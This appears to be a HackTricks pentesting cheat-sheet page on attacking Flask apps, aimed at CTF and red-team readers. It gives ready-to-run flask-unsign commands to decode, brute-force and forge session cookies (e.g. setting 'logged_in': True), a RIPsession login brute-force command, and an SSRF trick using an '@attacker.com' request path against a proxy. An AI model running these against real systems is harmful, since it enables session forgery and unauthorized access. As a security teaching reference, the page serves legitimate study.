Skip to content

Flask โ€‹

Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!

Other ways to support HackTricks:

Use Trickest to easily build and automate workflows powered by the world's most advanced community tools.
Get Access Today:

Probably if you are playing a CTF a Flask application will be related to SSTI.

Cookies โ€‹

Default cookie session name is session.

Decoder โ€‹

Online Flask coockies decoder: https://www.kirsle.net/wizards/flask-session.cgi

Manual โ€‹

Get the first part of the cookie until the first point and Base64 decode it>

bash
echo "ImhlbGxvIg" | base64 -d

The cookie is also signed using a password

Flask-Unsign โ€‹

Command line tool to fetch, decode, brute-force and craft session cookies of a Flask application by guessing secret keys.

โ›“๏ธ External Link
bash
pip3 install flask-unsign
bash
flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8'

Brute Force โ€‹

bash
flask-unsign --wordlist /usr/share/wordlists/rockyou.txt --unsign --cookie '<cookie>' --no-literal-eval

Signing โ€‹

bash
flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME'

Signing using legacy (old versions) โ€‹

bash
flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME' --legacy

RIPsession โ€‹

Command line tool to brute-force websites using cookies crafted with flask-unsign.

โ›“๏ธ External Link
bash
  ripsession -u 10.10.11.100 -c "{'logged_in': True, 'username': 'changeMe'}" -s password123 -f "user doesn't exist" -w wordlist.txt

This example uses sqlmap eval option to automatically sign sqlmap payloads for flask using a known secret.

Flask Proxy to SSRF โ€‹

In this writeup it's explained how Flask allows a request starting with the charcter "@":

http
GET @/ HTTP/1.1
Host: target.com
Connection: close

Which in the following scenario:

python
from flask import Flask
from requests import get

app = Flask('__main__')
SITE_NAME = 'https://google.com/'

@app.route('/', defaults={'path': ''})
@app.route('/<path:path>')
def proxy(path):
  return get(f'{SITE_NAME}{path}').content

app.run(host='0.0.0.0', port=8080)

Could allow to introduce something like "@attacker.com" in order to cause a SSRF.

Use Trickest to easily build and automate workflows powered by the world's most advanced community tools.
Get Access Today:

Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!

Other ways to support HackTricks: